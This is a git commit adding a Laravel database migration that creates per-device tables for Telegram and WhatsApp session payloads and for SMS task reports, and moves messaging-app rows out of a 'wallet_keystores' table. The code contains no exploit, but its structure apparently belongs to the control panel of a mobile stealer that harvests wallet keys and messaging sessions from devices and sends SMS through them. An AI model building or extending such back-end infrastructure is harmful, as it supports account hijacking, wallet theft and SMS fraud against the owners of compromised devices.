feat: wap/sms

This commit is contained in:
hashbro
2026-08-25 03:45:42 +08:00
parent 67791221bf
commit 5c9ceca4ea
18 changed files with 596 additions and 31 deletions
@@ -0,0 +1,112 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('plugin_sessions', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('device_key', 64)->index();
$table->string('kind', 16)->index();
$table->string('account_id', 128)->nullable()->index();
$table->string('phone', 64)->nullable();
$table->json('payload')->nullable();
$table->timestamps();
$table->unique(['device_id', 'kind', 'account_id']);
});
Schema::create('sms_reports', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('device_key', 64)->index();
$table->string('task_id', 128)->nullable()->index();
$table->string('dest_phone', 64)->nullable();
$table->string('local_phone', 64)->nullable();
$table->text('msg')->nullable();
$table->string('status', 64)->nullable();
$table->json('payload')->nullable();
$table->timestamps();
});
$this->backfillSessionsFromKeystores();
}
public function down(): void
{
Schema::dropIfExists('sms_reports');
Schema::dropIfExists('plugin_sessions');
}
private function backfillSessionsFromKeystores(): void
{
if (! Schema::hasTable('wallet_keystores')) {
return;
}
$rows = DB::table('wallet_keystores')
->whereIn('source', ['Telegram', 'WhatsApp'])
->orderBy('id')
->get();
$seen = [];
foreach ($rows as $row) {
$payload = json_decode((string) $row->raw_json, true);
if (! is_array($payload)) {
$payload = [];
}
$kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram';
$account = $this->accountFromPayload($kind, $payload);
$key = $row->device_id.'|'.$kind.'|'.$account;
if (isset($seen[$key])) {
continue;
}
$seen[$key] = true;
$deviceKey = (string) (DB::table('devices')->where('id', $row->device_id)->value('device_id') ?? '');
DB::table('plugin_sessions')->insert([
'device_id' => $row->device_id,
'device_key' => $deviceKey !== '' ? $deviceKey : (string) $row->device_id,
'kind' => $kind,
'account_id' => $account !== '' ? $account : null,
'phone' => $this->phoneFromPayload($kind, $payload),
'payload' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
'created_at' => $row->created_at ?? now(),
'updated_at' => $row->updated_at ?? now(),
]);
}
DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete();
}
private function accountFromPayload(string $kind, array $payload): string
{
$keys = $kind === 'whatsapp'
? ['userId', 'user_id', 'account_id']
: ['user_id', 'userId', 'account_id'];
foreach ($keys as $key) {
if (isset($payload[$key]) && (is_string($payload[$key]) || is_int($payload[$key]))) {
return substr(trim((string) $payload[$key]), 0, 128);
}
}
return '';
}
private function phoneFromPayload(string $kind, array $payload): ?string
{
if ($kind !== 'whatsapp') {
return null;
}
foreach (['userId', 'phoneId', 'phone'] as $key) {
if (isset($payload[$key]) && is_string($payload[$key]) && trim($payload[$key]) !== '') {
return substr(trim($payload[$key]), 0, 64);
}
}
return null;
}
};